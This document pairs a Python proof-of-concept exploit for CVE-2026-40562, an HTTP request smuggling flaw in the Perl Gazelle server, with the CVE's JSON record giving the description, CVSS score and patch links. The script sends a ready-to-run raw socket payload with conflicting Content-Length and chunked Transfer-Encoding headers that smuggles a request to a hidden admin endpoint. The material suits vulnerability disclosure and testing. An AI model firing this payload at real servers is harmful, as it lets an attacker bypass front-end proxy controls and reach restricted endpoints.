CVE-2026-40562

import socket # Proof of Concept for CVE-2026-40562 # This script demonstrates an HTTP Request Smuggling attack. # It sends a request with conflicting Content-Length and Transfer-Encoding headers. # The frontend (RFC compliant) processes TE, while the vulnerable Gazelle (backend) processes CL. def send_smuggling_request(host, port): payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 60\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GET /hidden_admin_endpoint HTTP/1.1\r\n" f"Host: {host}\r\n" "User-Agent: Smuggled-Request\r\n" "\r\n" ) print(f"[*] Sending payload to {host}:{port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) # Receive response (adjust buffer size as needed) response = s.recv(4096) print("[+] Response received:") print(response.decode(errors='ignore')) s.close() if __name__ == "__main__": # Replace with actual target details target_host = "127.0.0.1" target_port = 8080 send_smuggling_request(target_host, target_port)

{"cve": {"id": "CVE-2026-40562", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-06T13:16:09.110", "lastModified": "2026-05-11T15:04:24.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gazelle versions through 0.49 for Perl allows HTTP Request Smuggling via Improper Header Precedence.\n\nGazelle incorrectly prioritizes \"Content-Length\" over \"Transfer-Encoding: chunked\" when both headers are present in an HTTP request. Per RFC 7230 3.3.3, Transfer-Encoding must take precedence.\n\nAn attacker could exploit this to smuggle malicious HTTP requests via a front-end reverse proxy."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kazeburo:gazelle:*:*:*:*:*:perl:*:*", "versionEndExcluding": "0.50", "matchCriteriaId": "F2360CF4-CAB8-4DC7-B595-C7501D7EC17C"}]}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.3", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://metacpan.org/release/KAZEBURO/Gazelle-0.50/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "https://security.metacpan.org/patches/G/Gazelle/0.49/CVE-2026-40562-r1.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/06/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}